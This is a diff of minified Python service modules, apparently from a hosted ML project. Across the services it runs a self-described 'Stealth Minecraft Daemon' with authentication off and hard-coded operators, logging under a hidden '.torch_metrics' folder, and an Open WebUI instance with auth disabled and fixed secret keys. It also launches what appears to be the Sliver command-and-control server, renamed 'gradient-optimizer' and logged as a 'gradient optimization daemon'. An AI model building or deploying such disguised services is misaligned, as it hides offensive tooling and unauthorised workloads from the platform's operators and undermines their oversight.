for C in iter(lambda:B.read(1048576),b''):A.update(C)
|
| 39 |
return A.hexdigest()
|
| 40 |
def is_valid_datapack_zip(path,expected_size=_C,expected_sha1=_C):
|
| 41 |
-
C=expected_sha1;B=expected_size;A=path
|
| 42 |
-
if not
|
| 43 |
-
if B is not _C and
|
| 44 |
if C and file_sha1(A)!=C:return _B
|
| 45 |
try:
|
| 46 |
-
with zipfile.ZipFile(A)as
|
| 47 |
-
if
|
| 48 |
-
if not any(A.endswith('pack.mcmeta')for A in
|
| 49 |
return _A
|
| 50 |
except Exception:return _B
|
| 51 |
def fetch_modrinth_datapack(project_slug,game_version=MC_GAME_VERSION):
|
| 52 |
-
F='files';D=game_version;C=project_slug;G=urllib.parse.urlencode({'game_versions':json.dumps([D]),'loaders':json.dumps(['datapack'])});H=f"{MODRINTH_API}/project/{C}/version?{G}";I=urllib.request.Request(H,headers={_G:
|
| 53 |
with urllib.request.urlopen(I,timeout=60)as J:E=json.load(J)
|
| 54 |
if not E:raise RuntimeError(f"No Modrinth datapack for {C} on {D}")
|
| 55 |
B=E[0];A=next((A for A in B[F]if A.get('primary')),B[F][0]);K=A.get('hashes',{});return{_H:B[_H],_I:A[_I],_D:A[_D],_E:K.get(_E),_F:A.get(_F)}
|
| 56 |
def install_datapack(dest,info):
|
| 57 |
-
C=
|
| 58 |
-
if is_valid_datapack_zip(
|
| 59 |
-
A=
|
| 60 |
-
if
|
| 61 |
try:
|
| 62 |
-
download_binary(
|
| 63 |
-
if not is_valid_datapack_zip(A,
|
| 64 |
-
|
| 65 |
except Exception:
|
| 66 |
-
if
|
| 67 |
-
if
|
| 68 |
raise
|
| 69 |
def reset_generated_world(mc_dir):
|
| 70 |
-
A=[]
|
| 71 |
for B in('world','world_nether','world_the_end'):
|
| 72 |
-
C=
|
| 73 |
-
if
|
| 74 |
-
if A:
|
| 75 |
def ensure_datapacks(mc_dir):
|
| 76 |
-
|
| 77 |
for(D,B)in WORLDGEN_DATAPACKS:
|
| 78 |
-
|
| 79 |
try:
|
| 80 |
A=fetch_modrinth_datapack(D)
|
| 81 |
-
if install_datapack(
|
| 82 |
log_print(f"[+] {B} {A[_H]} installed ({A[_D]})")
|
| 83 |
if D==_K and'UNSUPPORTED'in A[_D]:log_print('[!] Incendium 26.1 is marked UNSUPPORTED on Modrinth (alpha); watch server logs after first Nether generation.')
|
| 84 |
-
except Exception as
|
| 85 |
-
def paper_patched_jar(mc_dir):return
|
| 86 |
def ensure_paper_runtime(java_bin,mc_dir,server_jar):
|
| 87 |
C=mc_dir;A=paper_patched_jar(C)
|
| 88 |
-
if
|
| 89 |
-
|
| 90 |
-
if not
|
| 91 |
log_print(f"[-] Paper bootstrap failed (exit {B.returncode})")
|
| 92 |
if B.stdout:log_print(B.stdout[-1500:])
|
| 93 |
if B.stderr:log_print(B.stderr[-1500:])
|
| 94 |
raise RuntimeError(f"expected patched jar missing: {A}")
|
| 95 |
log_print(f"[+] Paper runtime ready at {A}")
|
| 96 |
def setup_geyser(mc_dir):
|
| 97 |
-
|
| 98 |
-
for(A,
|
| 99 |
-
B=
|
| 100 |
-
if
|
| 101 |
try:
|
| 102 |
-
with zipfile.ZipFile(B)as
|
| 103 |
except Exception:
|
| 104 |
log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
|
| 105 |
-
try:
|
| 106 |
except:pass
|
| 107 |
-
if not
|
| 108 |
log_print(f"[*] Downloading {A}...")
|
| 109 |
-
try:download_file(
|
| 110 |
-
except Exception as
|
| 111 |
def setup_and_run():
|
| 112 |
-
|
| 113 |
-
if not
|
| 114 |
-
log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');
|
| 115 |
try:
|
| 116 |
-
download_file(
|
| 117 |
-
with tarfile.open(
|
| 118 |
-
for
|
| 119 |
-
if
|
| 120 |
-
|
| 121 |
-
if
|
| 122 |
-
shutil.move(
|
| 123 |
-
shutil.rmtree(
|
| 124 |
-
if
|
| 125 |
log_print('[*] Portable JRE setup completed successfully.')
|
| 126 |
-
except Exception as
|
| 127 |
-
|
| 128 |
-
if not
|
| 129 |
-
log_print('[*] Minecraft server jar not found. Downloading PaperMC...');
|
| 130 |
-
try:download_file(
|
| 131 |
-
except Exception as
|
| 132 |
setup_geyser(A);reset_generated_world(A);ensure_datapacks(A);log_print(f"[*] Minecraft server root: {A} (ephemeral)");log_print('[*] Ensuring Java binary is executable...')
|
| 133 |
-
try:
|
| 134 |
-
except Exception as
|
| 135 |
-
try:ensure_paper_runtime(
|
| 136 |
-
except Exception as
|
| 137 |
-
log_print('[*] Launching Minecraft server loop...');
|
| 138 |
while _A:
|
| 139 |
ensure_datapacks(A)
|
| 140 |
-
if not
|
| 141 |
-
try:ensure_paper_runtime(
|
| 142 |
-
except Exception as
|
| 143 |
-
|
| 144 |
-
with open(
|
| 145 |
-
|
| 146 |
-
|
| 147 |
-
J=os.path.join(A,'server.properties')
|
| 148 |
-
if not os.path.exists(J):
|
| 149 |
-
with open(J,K)as B:B.write('server-port=25566\n');B.write('online-mode=false\n');B.write('motd=PCEP\n')
|
| 150 |
else:
|
| 151 |
try:
|
| 152 |
-
|
| 153 |
-
|
| 154 |
-
if R in
|
| 155 |
-
if
|
| 156 |
-
|
| 157 |
-
with open(J,K)as B:B.write(D)
|
| 158 |
-
except Exception as C:log_print(f"[-] Failed to update server.properties: {C}")
|
| 159 |
log_print('[*] Starting Minecraft server process...')
|
| 160 |
-
with open(
|
| 161 |
-
log_print(f"[*] Minecraft server exited with code {
|
| 162 |
def start():
|
| 163 |
B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
|
| 164 |
try:
|
|
|
|
| 1 |
+
_O='ML-minecraft-service/1.0'
|
| 2 |
+
_N='Accept'
|
| 3 |
+
_M='mc_daemon.log'
|
| 4 |
_L='/home/user/.torch_metrics'
|
| 5 |
_K='incendium'
|
| 6 |
_J='26.1.2'
|
|
|
|
| 14 |
_B=False
|
| 15 |
_A=True
|
| 16 |
import hashlib,json,os,shutil,subprocess,tarfile,time,urllib.parse,urllib.request,zipfile
|
| 17 |
+
from pathlib import Path
|
| 18 |
from loguru import logger
|
| 19 |
MC_GAME_VERSION=_J
|
| 20 |
PAPER_MC_VERSION=_J
|
| 21 |
MODRINTH_API='https://api.modrinth.com/v2'
|
| 22 |
+
MC_DIR=Path('/tmp/mc')
|
| 23 |
WORLDGEN_DATAPACKS=[('terralith','Terralith'),(_K,'Incendium'),('nullscape','Nullscape')]
|
| 24 |
OPS_JSON=[{'uuid':'bee75070-9b57-33a6-b9c8-092d36529789','name':'TrueKing208','level':4,'bypassesPlayerLimit':_B}]
|
| 25 |
def log_print(msg):
|
| 26 |
logger.info(msg)
|
| 27 |
try:
|
| 28 |
+
A=Path(_L);A.mkdir(parents=_A,exist_ok=_A);B=A/_M
|
| 29 |
+
with B.open('a')as C:C.write(f"{msg}\n")
|
| 30 |
except Exception:pass
|
| 31 |
def download_file(url,dest_path):
|
| 32 |
+
A=urllib.request.Request(url,headers={_G:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',_N:'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
|
| 33 |
+
with urllib.request.urlopen(A)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
|
| 34 |
def download_binary(url,dest_path,timeout=300):
|
| 35 |
+
A=urllib.request.Request(url,headers={_G:_O,_N:'*/*'})
|
| 36 |
+
with urllib.request.urlopen(A,timeout=timeout)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
|
| 37 |
def file_sha1(path):
|
| 38 |
A=hashlib.sha1()
|
| 39 |
+
with Path(path).open('rb')as B:
|
| 40 |
for C in iter(lambda:B.read(1048576),b''):A.update(C)
|
| 41 |
return A.hexdigest()
|
| 42 |
def is_valid_datapack_zip(path,expected_size=_C,expected_sha1=_C):
|
| 43 |
+
C=expected_sha1;B=expected_size;A=path;D=Path(A)
|
| 44 |
+
if not D.is_file():return _B
|
| 45 |
+
if B is not _C and D.stat().st_size!=B:return _B
|
| 46 |
if C and file_sha1(A)!=C:return _B
|
| 47 |
try:
|
| 48 |
+
with zipfile.ZipFile(A)as E:
|
| 49 |
+
if E.testzip()is not _C:return _B
|
| 50 |
+
if not any(A.endswith('pack.mcmeta')for A in E.namelist()):return _B
|
| 51 |
return _A
|
| 52 |
except Exception:return _B
|
| 53 |
def fetch_modrinth_datapack(project_slug,game_version=MC_GAME_VERSION):
|
| 54 |
+
F='files';D=game_version;C=project_slug;G=urllib.parse.urlencode({'game_versions':json.dumps([D]),'loaders':json.dumps(['datapack'])});H=f"{MODRINTH_API}/project/{C}/version?{G}";I=urllib.request.Request(H,headers={_G:_O})
|
| 55 |
with urllib.request.urlopen(I,timeout=60)as J:E=json.load(J)
|
| 56 |
if not E:raise RuntimeError(f"No Modrinth datapack for {C} on {D}")
|
| 57 |
B=E[0];A=next((A for A in B[F]if A.get('primary')),B[F][0]);K=A.get('hashes',{});return{_H:B[_H],_I:A[_I],_D:A[_D],_E:K.get(_E),_F:A.get(_F)}
|
| 58 |
def install_datapack(dest,info):
|
| 59 |
+
C=dest;B=info;D=Path(C)
|
| 60 |
+
if is_valid_datapack_zip(C,B.get(_F),B.get(_E)):return _B
|
| 61 |
+
A=Path(str(C)+'.part')
|
| 62 |
+
if A.exists():A.unlink()
|
| 63 |
try:
|
| 64 |
+
download_binary(B[_I],A)
|
| 65 |
+
if not is_valid_datapack_zip(A,B.get(_F),B.get(_E)):raise RuntimeError('downloaded file is not a valid datapack zip')
|
| 66 |
+
A.replace(D);return _A
|
| 67 |
except Exception:
|
| 68 |
+
if A.exists():A.unlink()
|
| 69 |
+
if D.exists():D.unlink()
|
| 70 |
raise
|
| 71 |
def reset_generated_world(mc_dir):
|
| 72 |
+
A=[];D=Path(mc_dir)
|
| 73 |
for B in('world','world_nether','world_the_end'):
|
| 74 |
+
C=D/B
|
| 75 |
+
if C.is_dir():shutil.rmtree(C);A.append(B)
|
| 76 |
+
if A:E=', '.join(A);log_print('[*] Cleared '+E+'. Next boot regenerates with Terralith (overworld), Incendium (nether), Nullscape (end).')
|
| 77 |
def ensure_datapacks(mc_dir):
|
| 78 |
+
E=Path(mc_dir);C=E/'world'/'datapacks';C.mkdir(parents=_A,exist_ok=_A)
|
| 79 |
for(D,B)in WORLDGEN_DATAPACKS:
|
| 80 |
+
F=C/f"{B}.zip"
|
| 81 |
try:
|
| 82 |
A=fetch_modrinth_datapack(D)
|
| 83 |
+
if install_datapack(F,A):
|
| 84 |
log_print(f"[+] {B} {A[_H]} installed ({A[_D]})")
|
| 85 |
if D==_K and'UNSUPPORTED'in A[_D]:log_print('[!] Incendium 26.1 is marked UNSUPPORTED on Modrinth (alpha); watch server logs after first Nether generation.')
|
| 86 |
+
except Exception as G:log_print(f"[-] Failed to install {B} datapack: {G}")
|
| 87 |
+
def paper_patched_jar(mc_dir):return Path(mc_dir)/'versions'/PAPER_MC_VERSION/f"paper-{PAPER_MC_VERSION}.jar"
|
| 88 |
def ensure_paper_runtime(java_bin,mc_dir,server_jar):
|
| 89 |
C=mc_dir;A=paper_patched_jar(C)
|
| 90 |
+
if A.is_file():return
|
| 91 |
+
A.parent.mkdir(parents=_A,exist_ok=_A);log_print('[*] Bootstrapping Paper (download mojang jar + apply patches)...');B=subprocess.run([str(java_bin),'-jar',str(server_jar),'--version'],cwd=str(C),capture_output=_A,text=_A,timeout=600)
|
| 92 |
+
if not A.is_file():
|
| 93 |
log_print(f"[-] Paper bootstrap failed (exit {B.returncode})")
|
| 94 |
if B.stdout:log_print(B.stdout[-1500:])
|
| 95 |
if B.stderr:log_print(B.stderr[-1500:])
|
| 96 |
raise RuntimeError(f"expected patched jar missing: {A}")
|
| 97 |
log_print(f"[+] Paper runtime ready at {A}")
|
| 98 |
def setup_geyser(mc_dir):
|
| 99 |
+
D=Path(mc_dir);C=D/'plugins';C.mkdir(parents=_A,exist_ok=_A);E={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
|
| 100 |
+
for(A,F)in E.items():
|
| 101 |
+
B=C/A
|
| 102 |
+
if B.exists():
|
| 103 |
try:
|
| 104 |
+
with zipfile.ZipFile(B)as H:0
|
| 105 |
except Exception:
|
| 106 |
log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
|
| 107 |
+
try:B.unlink()
|
| 108 |
except:pass
|
| 109 |
+
if not B.exists():
|
| 110 |
log_print(f"[*] Downloading {A}...")
|
| 111 |
+
try:download_file(F,B);log_print(f"[+] {A} downloaded successfully.")
|
| 112 |
+
except Exception as G:log_print(f"[-] Failed to download {A}: {G}")
|
| 113 |
def setup_and_run():
|
| 114 |
+
R='server-port=25565';Q='online-mode=true';P='java';O='bin';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A=MC_DIR;F=A/'jre';L=Path(_L);A.mkdir(parents=_A,exist_ok=_A);L.mkdir(parents=_A,exist_ok=_A);D=F/O/P
|
| 115 |
+
if not D.exists():
|
| 116 |
+
log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');S='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';G=A/'jre.tar.gz'
|
| 117 |
try:
|
| 118 |
+
download_file(S,G);log_print('[*] Extracting JRE...');H=A/'jre_temp';H.mkdir(parents=_A,exist_ok=_A)
|
| 119 |
+
with tarfile.open(G,'r:gz')as T:T.extractall(path=H)
|
| 120 |
+
for J in H.rglob(P):
|
| 121 |
+
if J.is_file()and J.parent.name==O:
|
| 122 |
+
U=J.parent.parent
|
| 123 |
+
if F.exists():shutil.rmtree(F)
|
| 124 |
+
shutil.move(str(U),str(F));break
|
| 125 |
+
shutil.rmtree(H,ignore_errors=_A)
|
| 126 |
+
if G.exists():G.unlink()
|
| 127 |
log_print('[*] Portable JRE setup completed successfully.')
|
| 128 |
+
except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
|
| 129 |
+
E=A/'server.jar'
|
| 130 |
+
if not E.exists():
|
| 131 |
+
log_print('[*] Minecraft server jar not found. Downloading PaperMC...');V='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
|
| 132 |
+
try:download_file(V,E);log_print('[*] PaperMC downloaded successfully.')
|
| 133 |
+
except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
|
| 134 |
setup_geyser(A);reset_generated_world(A);ensure_datapacks(A);log_print(f"[*] Minecraft server root: {A} (ephemeral)");log_print('[*] Ensuring Java binary is executable...')
|
| 135 |
+
try:D.chmod(493)
|
| 136 |
+
except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
|
| 137 |
+
try:ensure_paper_runtime(D,A,E)
|
| 138 |
+
except Exception as B:log_print(f"[-] Failed to bootstrap Paper runtime: {B}");return
|
| 139 |
+
log_print('[*] Launching Minecraft server loop...');W=L/_M
|
| 140 |
while _A:
|
| 141 |
ensure_datapacks(A)
|
| 142 |
+
if not paper_patched_jar(A).is_file():
|
| 143 |
+
try:ensure_paper_runtime(D,A,E)
|
| 144 |
+
except Exception as B:log_print(f"[-] Paper runtime missing and bootstrap failed: {B}");time.sleep(10);continue
|
| 145 |
+
X=A/'eula.txt';X.write_text('eula=true\n');Y=A/'ops.json'
|
| 146 |
+
with Y.open('w')as M:json.dump(OPS_JSON,M,indent=2);M.write('\n')
|
| 147 |
+
I=A/'server.properties'
|
| 148 |
+
if not I.exists():I.write_text('server-port=25566\nonline-mode=false\nmotd=PCEP\n')
|
|
|
|
|
|
|
|
|
|
| 149 |
else:
|
| 150 |
try:
|
| 151 |
+
C=I.read_text();K=_B
|
| 152 |
+
if Q in C:C=C.replace(Q,'online-mode=false');K=_A
|
| 153 |
+
if R in C:C=C.replace(R,'server-port=25566');K=_A
|
| 154 |
+
if K:I.write_text(C)
|
| 155 |
+
except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
|
|
|
|
|
|
|
| 156 |
log_print('[*] Starting Minecraft server process...')
|
| 157 |
+
with W.open('a')as Z:N=subprocess.Popen([str(D),'-Xms4G','-Xmx4G','-jar',str(E),'nogui'],cwd=str(A),stdout=Z,stderr=subprocess.STDOUT);N.wait()
|
| 158 |
+
log_print(f"[*] Minecraft server exited with code {N.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
|
| 159 |
def start():
|
| 160 |
B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
|
| 161 |
try:
|
services/open_webui_service.py
CHANGED
|
@@ -16,4 +16,4 @@ def _ensure_installed(log=None):
|
|
| 16 |
if B.returncode!=0:raise RuntimeError(f"{PREFIX} Install step failed: {" ".join(cmd)} (exit {B.returncode})")
|
| 17 |
C=time.time();B(['uv','venv',VENV_DIR]);B(['uv','pip','install','--python',VENV_DIR,'--no-cache-dir','open-webui']);D=time.time()-C;logger.success(f"{PREFIX} open-webui installed in {D:.1f}s — subsequent boots will be instant.");return OWUI_BIN
|
| 18 |
def _start_worker(log,env):A=log;B=_ensure_installed(A);C=[B,'serve','--host',_A,'--port',str(PORT)];logger.info(f"{PREFIX} Starting Open WebUI on 127.0.0.1:{PORT}...");D=subprocess.Popen(C,stdout=A,stderr=A,env=env);logger.success(f"{PREFIX} Open WebUI started (pid {D.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")
|
| 19 |
-
def start(log):F='DATA_DIR';E='LITELLM_MASTER_KEY';D='http://127.0.0.1:8080/v1';C=
|
|
|
|
| 16 |
if B.returncode!=0:raise RuntimeError(f"{PREFIX} Install step failed: {" ".join(cmd)} (exit {B.returncode})")
|
| 17 |
C=time.time();B(['uv','venv',VENV_DIR]);B(['uv','pip','install','--python',VENV_DIR,'--no-cache-dir','open-webui']);D=time.time()-C;logger.success(f"{PREFIX} open-webui installed in {D:.1f}s — subsequent boots will be instant.");return OWUI_BIN
|
| 18 |
def _start_worker(log,env):A=log;B=_ensure_installed(A);C=[B,'serve','--host',_A,'--port',str(PORT)];logger.info(f"{PREFIX} Starting Open WebUI on 127.0.0.1:{PORT}...");D=subprocess.Popen(C,stdout=A,stderr=A,env=env);logger.success(f"{PREFIX} Open WebUI started (pid {D.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")
|
| 19 |
+
def start(log):F='DATA_DIR';E='LITELLM_MASTER_KEY';D='http://127.0.0.1:8080/v1';C='none';B=True;Path(METRICS_DIR).mkdir(parents=B,exist_ok=B);A=os.environ.copy();A['OPENAI_API_BASE_URL']=D;A['OPENAI_API_KEY']=A.get(E,C)or C;A['WEBUI_AUTH']='False';A.setdefault('WEBUI_SECRET_KEY','sanctuary_owui_secret_key_server01');A.setdefault('OAUTH_SESSION_TOKEN_ENCRYPTION_KEY','sanctuary_owui_oauth_token_key_server01_32bytes');A[F]=str(Path(METRICS_DIR)/'open_webui_data');Path(A[F]).mkdir(parents=B,exist_ok=B);A['PORT']=str(PORT);A['HOST']=_A;A['UVICORN_HOST']=_A;A['UVICORN_PORT']=str(PORT);A['ENABLE_RAG']='True';A['RAG_EMBEDDING_ENGINE']='openai';A['RAG_EMBEDDING_OPENAI_API_BASE_URL']=D;A['RAG_EMBEDDING_OPENAI_API_KEY']=A.get(E,C)or C;A['AUDIO_STT_ENGINE']='webapi';A['AUDIO_TTS_ENGINE']='';G=threading.Thread(target=_start_worker,args=(log,A),daemon=B);G.start();logger.info(f"{PREFIX} install/launch dispatched to background thread (orchestrator unblocked).")
|
services/sliver_service.py
CHANGED
|
@@ -1,5 +1,6 @@
|
|
| 1 |
import os,subprocess
|
|
|
|
| 2 |
from loguru import logger
|
| 3 |
SLIVER_HOME='/home/user/.sliver'
|
| 4 |
_SLIVER_ENV_ALLOWLIST='HOME','PATH','USER','SHELL','LANG','TERM'
|
| 5 |
-
def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');
|
|
|
|
| 1 |
import os,subprocess
|
| 2 |
+
from pathlib import Path
|
| 3 |
from loguru import logger
|
| 4 |
SLIVER_HOME='/home/user/.sliver'
|
| 5 |
_SLIVER_ENV_ALLOWLIST='HOME','PATH','USER','SHELL','LANG','TERM'
|
| 6 |
+
def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');Path(SLIVER_HOME).mkdir(parents=True,exist_ok=True);B={A:os.environ[A]for A in _SLIVER_ENV_ALLOWLIST if A in os.environ};B['SLIVER_ROOT_DIR']=SLIVER_HOME;C=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(C,stdout=A,stderr=A,env=B)
|
services/test_service.py
CHANGED
|
@@ -1,31 +1,31 @@
|
|
| 1 |
-
_B=
|
| 2 |
-
_A=
|
| 3 |
-
import
|
|
|
|
| 4 |
from loguru import logger
|
| 5 |
-
METRICS_DIR='/home/user/.torch_metrics'
|
| 6 |
-
LOG_PATH=
|
| 7 |
-
STARTUP_LOG=
|
| 8 |
-
MARKER_PATH='/home/user/TEST_SERVICE_IS_ACTIVE'
|
| 9 |
-
STATIC_BANNER='/home/user/static/TEST_SERVICE_ENABLED.txt'
|
| 10 |
PREFIX='[TEST SERVICE]'
|
| 11 |
BANNER='\n================================================================================\n TEST SERVICE IS RUNNING — per-node services selection is working.\n================================================================================\n'
|
| 12 |
def _emit(msg):
|
| 13 |
-
A=PREFIX+' '+msg.rstrip()+
|
| 14 |
for C in(sys.stdout,sys.stderr):
|
| 15 |
try:C.write(A);C.flush()
|
| 16 |
except OSError:pass
|
| 17 |
try:
|
| 18 |
-
with open(
|
| 19 |
except OSError:pass
|
| 20 |
try:
|
| 21 |
-
with open(
|
| 22 |
except OSError:pass
|
| 23 |
def _heartbeat_loop():
|
| 24 |
-
while
|
| 25 |
def start():
|
| 26 |
-
|
| 27 |
-
with open(
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
_emit(B);_emit('marker file: '+MARKER_PATH);_emit('full log: '+LOG_PATH+' (also Gradio command SHOW_LOGS_TEST)');logger.success(BANNER.strip());threading.Thread(target=_heartbeat_loop,daemon=_B).start()
|
|
|
|
| 1 |
+
_B='\n'
|
| 2 |
+
_A=True
|
| 3 |
+
import sys,threading,time
|
| 4 |
+
from pathlib import Path
|
| 5 |
from loguru import logger
|
| 6 |
+
METRICS_DIR=Path('/home/user/.torch_metrics')
|
| 7 |
+
LOG_PATH=METRICS_DIR/'test.log'
|
| 8 |
+
STARTUP_LOG=METRICS_DIR/'startup.log'
|
| 9 |
+
MARKER_PATH=Path('/home/user/TEST_SERVICE_IS_ACTIVE')
|
| 10 |
+
STATIC_BANNER=Path('/home/user/static/TEST_SERVICE_ENABLED.txt')
|
| 11 |
PREFIX='[TEST SERVICE]'
|
| 12 |
BANNER='\n================================================================================\n TEST SERVICE IS RUNNING — per-node services selection is working.\n================================================================================\n'
|
| 13 |
def _emit(msg):
|
| 14 |
+
A=PREFIX+' '+msg.rstrip()+_B
|
| 15 |
for C in(sys.stdout,sys.stderr):
|
| 16 |
try:C.write(A);C.flush()
|
| 17 |
except OSError:pass
|
| 18 |
try:
|
| 19 |
+
with LOG_PATH.open('a')as B:B.write(A)
|
| 20 |
except OSError:pass
|
| 21 |
try:
|
| 22 |
+
with STARTUP_LOG.open('a')as B:B.write(A)
|
| 23 |
except OSError:pass
|
| 24 |
def _heartbeat_loop():
|
| 25 |
+
while _A:time.sleep(15);A=time.strftime('%Y-%m-%d %H:%M:%S');_emit('HEARTBEAT at '+A+' — still alive')
|
| 26 |
def start():
|
| 27 |
+
METRICS_DIR.mkdir(parents=_A,exist_ok=_A);Path('/home/user/static').mkdir(parents=_A,exist_ok=_A);A='Started at '+time.strftime('%Y-%m-%d %H:%M:%S UTC',time.gmtime())
|
| 28 |
+
with LOG_PATH.open('a')as B:B.write(BANNER);B.write(A+_B)
|
| 29 |
+
MARKER_PATH.write_text('TEST SERVICE IS ACTIVE\nSee also: '+str(LOG_PATH)+_B);STATIC_BANNER.write_text(BANNER.strip()+_B)
|
| 30 |
+
for C in BANNER.strip().split(_B):_emit(C.strip())
|
| 31 |
+
_emit(A);_emit('marker file: '+str(MARKER_PATH));_emit('full log: '+str(LOG_PATH)+' (also Gradio command SHOW_LOGS_TEST)');logger.success(BANNER.strip());threading.Thread(target=_heartbeat_loop,daemon=_A).start()
|
|
|